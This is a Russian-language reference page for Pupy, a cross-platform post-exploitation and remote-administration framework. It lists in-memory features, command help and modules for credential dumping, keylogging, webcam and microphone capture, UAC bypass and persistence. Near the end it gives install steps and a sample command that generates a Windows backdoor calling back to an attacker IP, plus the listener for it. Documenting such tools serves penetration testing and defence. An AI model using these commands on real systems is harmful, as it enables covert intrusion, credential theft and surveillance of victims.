Pupy


Описание Pupy

Pupy — это инструмент с открытым исходным кодом для удалённого администрирования и последующей эксплуатации (post-exploitation), работающий на различных платформах (Windows, Linux, OSX, Android). Его особенностями является выполнение только в памяти, благодаря чему остаётся очень мало следов. Pupy умеет общаться с удалённой машиной используя несколько транспортов, выполнять миграцию в процессы с помощью рефлексивного внедрения и загружать удалённый код Python, пакеты Python и C-расширения Python из памяти.

Функции:

  • Полезная нагрузка Windows может загрузить весь интерпретатор Python из памяти, используя reflective DLL.
  • Pupy не трогает диск.
  • Может быть упакован в один файл .py и работать без каких-либо зависимостей, кроме стандартной библиотеки python во всех ОС.
  • PyCrypto заменена чистыми реализациями Python AES & RSA, когда PyCrypto недоступна.
  • Рефлексивно мигрируют в другие процессы.
  • Удалённо импортируйте из памяти чистые пакеты Python (.py, .pyc) и скомпилированные расширения Python C (.pyd, .so).
  • Импортированные модули Python не касаются диска.
  • Pupy легко расширяема, модули просты в написании и сортируются по ОС и категориям.
  • Модули могут напрямую обращаться к объектам python на удалённом клиенте с помощью rpyc.
  • Доступ к удаленным объектам в интерактивном режиме из оболочки pupy и автоматическое заполнение удалённых атрибутов.
  • Транспорты связи являются модульными и наращиваемыми. Выполните эксфильтрацию данных, используя HTTP через HTTP поверх AES через XOR или любую комбинацию доступных транспортов.
  • Общайтесь с помощью подключаемых транспортов obfsproxy.
  • Выполняйте неинтерактивные команды на нескольких хостах одновременно.
  • Команды и сценарии, выполняемые на удалённых хостах, являются прерываемыми.
  • Автозаполнение для команд и аргументов.
  • Можно задать пользовательский конфиг: псевдонимы команд, модули. автоматически запускаться при подключении и т. д.
  • Открытые интерактивные оболочки Python с автозаполнением на удалённом интерпретаторе Python работающим по принципу all-in-memory (всё выполняется в памяти).
  • Интерактивные оболочки (cmd.exe, /bin/bash и так далее) Можно открывать удалённо.
  • Удалённые оболочки на клиентах Unix и Windows имеют настоящий tty с поддержкой всех сигналов клавиатуры, работающими как оболочка SSH
  • Выполните PE исполняемый файл удалённо и из памяти.
  • Генерация полезных нагрузок в различных форматах:
Формат Архитектура Сокращённое имя
Пакет Android x86 & ARMv7 apk
Исполнимый файл Linux x86 lin_x86
Исполнимый файл Linux x64 lin_x64
Разделяемый объект Linux x86 so_x86
Разделяемый объект Linux x64 so_x64
Исполнимый файл Windows PE x86 exe_x86
Исполнимый файл Windows PE x64 exe_x64
Windows DLL x86 dll_x86
Windows DLL x64 dll_x64
Скрипт Python x86 & x64 py
PyInstaller x86 & x64 pyinst
Python Oneliner x86 & x64 py_oneliner
Powershell x86 & x64 ps1
Powershell Oneliner x86 & x64 ps1_oneliner
Ducky Script N/A rubber_ducky
  • Развёртывание в памяти из одной строки команды с использованием однострочников Python или PowerShell.
  • Встраивайте «скриптлеты» в сгенерированные полезные нагрузки для выполнения некоторых задач «в автономном режиме» без необходимости подключения к сети (например: запуск кейлоггера, добавление персистентности, выполнение собственного сценария Python, check_vm и т. д.)
  • Несколько целевых платформ:
Платформа Статус поддержки
Windows XP Поддерживается
Windows 7 Поддерживается
Windows 8 Поддерживается
Windows 10 Поддерживается
Linux Поддерживается
Mac OSX Ограниченная поддержка
Android Ограниченная поддержка

Домашняя страница: https://github.com/n1nj4sec/pupy

Автор: Nicolas VERDIER

Лицензия: AS IS

Справка по Pupy

Справка по gen

Использование:

gen [-h]
                 [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}]
                 [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U]
                 [-P PACKER] [-S] [-o OUTPUT]
                 [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR]
                 [-s SCRIPTLET] [-l] [-E] [--no-use-proxy]
                 [--oneliner-nothidden] [--debug-scriptlets] [--debug]
                 [--workdir WORKDIR]
                 [{bind,auto_proxy,dnscnc,connect}] ...

Опции:

позиционные аргументы:
  {bind,auto_proxy,dnscnc,connect}
                        Выбор лончера. Лончеры делают полезную нагрузку
                        которая при запуске ведёт себя по-разному.
  launcher_args         опции лончера

опциональные аргументы:
  -h, --help            показать справку и выйти
  -f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}, --format {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}
                        (по умолчанию: client)
  -O {android,windows,linux,solaris}, --os {android,windows,linux,solaris}
                        Целевая ОС (по умолчанию: windows)
  -A {x86,x64}, --arch {x86,x64}
                        Целевая архитектура (по умолчанию: x86)
  -U, --uncompressed    Использовать шаблон без сжатия
  -P PACKER, --packer PACKER
                        Использовать пакер, когда форматом вывода выбран 'client' (по умолчанию: )
  -S, --shared          Создать совместно используемый (shared) объект
  -o OUTPUT, --output OUTPUT
                        имя файла вывода
  -d <ATTEMPTS> <MIN SEC> <MAX SEC>, --delays-list <ATTEMPTS> <MIN SEC> <MAX SEC>
                        Формат: <максимальное кол-во попыток> <минимальная задержка (секуны)> <максимальная задержка
                        (секуны)>
  -D OUTPUT_DIR, --output-dir OUTPUT_DIR
                        папка вывода (по умолчанию: /root/.config/pupy/output)
  -s SCRIPTLET, --scriptlet SCRIPTLET
                        офлайн python скриплеты для выполнения перед запуском
                        соединения. Можно указать несколько скриплетов.
  -l, --list            вывести список доступных форматов, транспортёров, скриплетов и
                        опций
  -E, --prefer-external
                        В случае автоопределения предпочитать внешний IP
  --no-use-proxy        Не использовать конфигурацию прокси цели, даже если
                        она используется целью (сейчас пока только для ps1_oneliner)
  --oneliner-nothidden  Скрипт Powershell не скрыт целевой стороной (по умолчанию:
                        False)
  --debug-scriptlets    не перехватывать исключения в скриплетах на клиенте
                        для целей отладки
  --debug               собрать с шаблоном отладки (полезная нагрузка открывает
                        консоль)
  --workdir WORKDIR     Установить рабочую папку (По умолчанию = текущая рабочая папка)

Справка по listen

Использование:

listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT
              [TRANSPORT_ARG1 ...] | -r TRANSPORT]

Опциональные аргументы:

  -h, --help            показать справку и выйти
  -l, --list            показать рекущие слушатели
  -L, --list-transports
                        показать доступные транспорты
  -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...]
                        запустить слушатель
  -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...]
                        запустить слушатель (игнорируя прокси)
  -r TRANSPORT, --remove TRANSPORT
                        остановить слушатель

Справка по connect

Использование:


connect [-h] -c <хост:порт>
        [-t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}]

Опции:

позиционные аргументы:
  transport_args        Аргументы транспорта: ключ=значение ключ=значение ...

опциональные аргументы:
  -h, --help            показать справку и выйти
  -c <host:port>, --host <хост:порт>
                        хост:порт сервера pupy к которому нужно подключиться. Вы можете
                        указать несколько аргументов --host arguments для попытки
                        подключения к нескольким IP
  -t {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}, --transport {obfs3,http,ssl,ecm,tcp_cleartext,dfws,rsa,udp_secure,kc4,ec4,ws,scramblesuit,udp_cleartext,ssl_rsa}
                        Используемый транспорт

Справка по sessions

Использование:

sessions [-h] [-i <фильтр>] [-g] [-k ] [-K] [-d ] [-D]

Опциональные аргументы:

  -h, --help
  -i <фильтр>, --interact <фильтр>
                        изменить дефолтное значение --filter для других команд
  -g, --global-reset    сбросить --interact до стандартного глобального поведения
  -k <id>               Убить выбранную сессию
  -K                    Убить все сессии
  -d <id>               Сбросить соединение (резко закрыть сокет)
  -D                    Сбросить все соединения

Справка по jobs

Использование:

jobs [-h] [-k  | -K ] [-l] [-p ]

Опциональные аргументы:

  -h, --help            показать справку и выйти
  -k <job_id>, --kill <job_id>
                        закрыть работу, но перед этим показать её текущий вывод
  -K <job_id>, --kill-no-output <job_id>
                        закрыть работу без показа вывода
  -l, --list            вывести список работ
  -p <job_id>, --print-output <job_id>
                        напечатать вывод работы

Справка по run

Использование:

run [-h] [-1] [-o ВЫВОД] [-f <фильтр клиента>] [-b] <модуль> ...

Опции:


позиционные аргументы:
  <module>              модуль
  <arguments>           аргументы модуля

опциональные аргументы:
  -h, --help            показать справку и выйти
  -1, --once            Выгрузить новые депы после использования
  -o ВЫВОД, --output ВЫВОД
                        сохранить вывод команды в файл.%t — временная метка, %h - хост,
                        %m - MAC-адрес, %c — короткое имя клиента, %M — имя модуля, %p
                        - платформа, %u - пользователь, %a - IP адрес
  -f <фильтр клиента>, --filter <фильтр клиента>
                        выполнять на клиентах, подходящих под фильтр. Все
                        поля, по которым можно фильтровать, можно увидеть в модуле
                         "info". Например: run get_info -f 'platform:win release:7 os_arch:64'
  -b, --background      запустить в фоне

Модули

Категория             Имя                Описание                                                                                                                           
------------------------------------------------------------------------------------------------------------------------------------------------------------
Администрирование     shares             Вывести список локальных и удалённых совместно используемых папок и разрешений
Администрирование     clear_logs         Очистить логи событий
Администрирование     wmic               Запрос к Wmi используя Wql
Администрирование     psh                Загрузить/Выполнить скрипты Powershell
Администрирование     ssh                Ssh клиент
Администрирование     rfs                Монтировать удалённую файловую систему как Fuse Fs к точке монтирования
Администрирование     reg                Поиск/Составление списка/Получение/Установка/Удаление Ключей/Значений регистра
Администрирование     smbspider          Обойти директории Smb и рекурсивно искать в файлах строку
Администрирование     shell_exec         Выполнить команды оболочки на удалённой системе
Администрирование     become             Стать пользователем
Администрирование     logs               Показать логи (или попытаться найти что-либо)
Администрирование     alive              Запрос для отправки пакетов Keepalive на уровне Rpyc
Администрирование     rdesktop           Запустить сессию удалённого рабочего стола используя Websocket клиент браузера
Администрирование     cp                 Скопировать файл или директорию
Администрирование     interactive_shell  Открыть интерактивную оболочку для команд с приятным Tty
Администрирование     rm                 Удалить файл или директорию
Администрирование     smb                Копировать файл через протокол Smb
Администрирование     hibernate          Закрыть сессию на время X часов
Администрирование     netstat            Вывести терминальные сессии
Администрирование     drives             Вывести список валидных дисков в системе
Администрирование     sshell             Интерактивный шелл Ssh
Администрирование     last               Список терминальных сессий
Администрирование     rdp                Включить / Отключить Rdp соединение или проверить валидность учётных данных на удалённом хосте
Администрирование     w                  Список терминальных сессий
Администрирование     getdomain          Получить Primary Domain Controller (Основной контроллер домена)
Администрирование     cd                 Поменять папку
Администрирование     date               Получить текущую дату
Администрирование     pexec              Выполнить команды оболочки неинтерактивно на удалённой системе в фоне используя Popen
Администрирование     ps                 Вывести список процессов
Администрирование     zip                Zip / Unzip (запаковать/распаковать) файл или директорию
Администрирование     mkdir              Создать пустую папку
Администрирование     dns                Получить доменное имя из IP и в обратную сторону
Администрирование     ls                 Вывести список системных файлов
Администрирование     psexec             Запустить удалённую команду используя Smbexec или Wmiexec
Администрирование     pwd                Узнать текущую рабочую директорию
Администрирование     pyexec             Выполнить код Python на удалённой системе
Администрирование     beroot             Проверить пути эскалации привилегий
Администрирование     cat                Показать содержимое файла
Администрирование     pyshell            Открыть интерактивную оболочку Python на удалённом клиенте
Администрирование     mv                 Переместить файл или директорию
Администрирование     display            Установить переменную Display
Администрирование     ip                 Вывести список интерфейсов
Администрирование     sudo_alias         Записать псевдоним для sudo для получения пользовательского пароля
Администрирование     igd                Клиент Upnp Igd
Администрирование     stat               Показать немного больше информации о файловом пути. В данный момент это Acls/Caps/Owner
Администрирование     http               Тривиальный Get/Post запрос через протокол Http
Администрирование     x509               Получить сертификат с сервера
Администрирование     getppid            Вывести информацию о родительском процессе
Администрирование     getpid             Вывести информацию о процессе
Администрирование     services           Вывести список служб
Администрирование     getuid             Получить имя пользователя
Учётные данные        loot_memory        Обход памяти процесса в поисках учётных данных в виде простого текста
Учётные данные        creddump           Загрузить Hives с удалённой системы Windows и собрать учётные данные
Учётные данные        lazagne            Получить хранимые на цели пароли
Учётные данные        mimipy             Запустить Mimipy для получения учётных данных из памяти
Учётные данные        memstrings         Получить печатные строки из памяти процесса для дальнейшего анализа
Эксплуатация          mimishell          Выполнить Mimikatz из памяти (Интерактивно)
Эксплуатация          mimikatz           Выполнить Mimikatz из памяти (не-интерактивно)
Эксплуатация          exploit_suggester  Подсказчик эксплойтов
Эксплуатация          shellcode_exec     Выполнить указанный шелл код (Shellcode) на клиенте
Эксплуатация          impersonate        Список токенов процессов
Сбор                  keylogger          Перехватчик нажатий клавиатуры (Keylogger) для мониторинга всех взаимодействий с клавиатурой, включая буфер обмена
Сбор                  hashmon            Попробовать найти в памяти пароли в виде простого текста
Сбор                  get_info           Получить информацию об одном или нескольких клиентах
Сбор                  contacts           Для получения контактов
Сбор                  isearch            Использовать Windows Search Index для поиска данных
Сбор                  search             Пройтись по директориям и рекурсивно искать строку в файлах
Сбор                  check_vm           Проверить, запущен ли клиент ли на виртуальной машине
Сбор                  outlook            Взаимодействие с сессией Outlook целевого пользователя
Сбор                  record_mic         Запись звука с микрофона!
Сбор                  pywerview          Переписать некоторую функциональность Powerview на Python
Сбор                  apps               Взаимодействие с менеджером приложений
Сбор                  call               Получить подробности о звонке
Сбор                  mouselogger        Ведение журналов клики мыши и получения скриншотов области вокруг них
Сбор                  powerview          Выполнить команды Powerview
Сбор                  get_hwuuid         Попробовать получить Uuid (Dmi) или Machine-Id (Dbus/Linux)
Сбор                  webcamsnap         Сделать снимок с веб-камеры
Сбор                  usniper            Глобальный захват строк или регистра во время выполнения
Сбор                  cloudinfo          Получить метаданные Ec2/Digitalocean
Сбор                  users              Получить интерактивного пользователя
Сбор                  screenshot         Сделать скриншот
Сбор                  ttyrec             Глобальный захват ввода/вывода на Tty. Совместима с ядрами
Сбор                  gpstracker         Для взаимодействия с GPS
Сбор                  exit               Выйти из клиента на другой стороне
Сбор                  process_kill       Убить процесс
Управление            edit               Локальное редактирование удалённого файла (Загрузка->Редактирование->Выгрузка)
Управление            upload             Выгрузка файла/Директории на удалённую систему
Управление            hide_process       Редактирование аргументы и окружение текущего процесса чтобы не выглядеть подозрительным
Управление            download           Загрузка файла/Директории с удалённой системы
Управление            getprivs           Управление привилегиями текущего процесса
Управление            tasks              Получить информацию о зарегистрированных фоновых задачах
Управление            memory_exec        Выполнить исполнимый файл в памяти
Управление            lock_screen        Заблокировать сессию
Управление            duplicate          Дуплицировать текущую полезную нагрузку Pupy выполнив её в памяти
Управление            load_package       Загрузить пакет Python на удалённый клиент. Файлы пакетов должны быть помещены в одну из папок с общим видом Pupy/Packages/<Os>/<Arch>/ Repository
Управление            migrate            Переместить Pupy в другой процесс используя Reflective Dll Injection
Управление            write              Записать короткую строку в файл
Управление            env                Вывести список/Получить/Установить/удалить переменные окружения клиента
Управление            persistence        Включить / Отключить закрепление в удалённой системе
Сеть                  port_scan          Запуск сканера Tcp портов
Сеть                  forward            Локальное/Удалённое перенаправление портов и Socks прокси
Сеть                  tcpdump            Модуль для воспроизведения некоторых классических функций инструмента Tcpdump
Повышение привилегий  getsystem          Пытается получить привилегии Nt Authority System
Повышение привилегий  bypassuac          Обход UAC, но будьте осторожны, большинство методов обхода выявляются антивирусами
Повышение привилегий  inveigh            Выполнить команды Inveigh
Повышение привилегий  privesc_checker    Скрипты повышения привилегий Linux
Троллинг              text_to_speach     Использовать генератор голоса (Text To Speach) на Android чтобы что-нибудь сказать
Троллинг              vibrate            Активация вибратора на телефоне/планшете
Троллинг              msgbox             Всплывающее окно с указанным сообщением

Руководство по Pupy

Страница man отсутствует.

Примеры запуска Pupy

Создать исполнимый файл бэкдора (-f client) для 64-битной версии (-A x64) Windows (-O windows), который после запуска будет подключаться к компьютеру атакующего (connect) имеющему IP адрес 192.168.1.112 и ожидающему подключение на порту 43210 (--host 192.168.1.112:43210), при этом в качестве транспорта использовать HTTP подобный синтаксис (-t http):

gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http

Запуск слушателя на компьютере атакующего ожидающего подключения по HTTP подобному транспорту (http) на порту 43210:

listen -a http 43210

Установка Pupy

Подробности об установке смотрите в статье «Как установить Pupy».

Установка в Kali Linux

sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv
git clone --recursive https://github.com/n1nj4sec/pupy
cd pupy
python create-workspace.py -DG pupyw
sudo pip2 install rpyc==3.4.4

Запуск:

export PATH=$PATH:~/.local/bin; pupysh

Установка в BlackArch

Программа предустановлена в BlackArch.

sudo pacman -S pupy
sudo pacman -Rdd python2-rpyc
sudo pip2 install rpyc==3.4.4

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Pupy

Инструкции по Pupy


Близкие программы:

  • webshells (83.5%)
  • PowerSploit (68.4%)
  • PoisonTap (65.1%)
  • Weevely (53.9%)
  • PhpSploit (53.9%)
  • mimikatz (RANDOM - 16.5%)
  • Рекомендуется Вам:

    Comments are Closed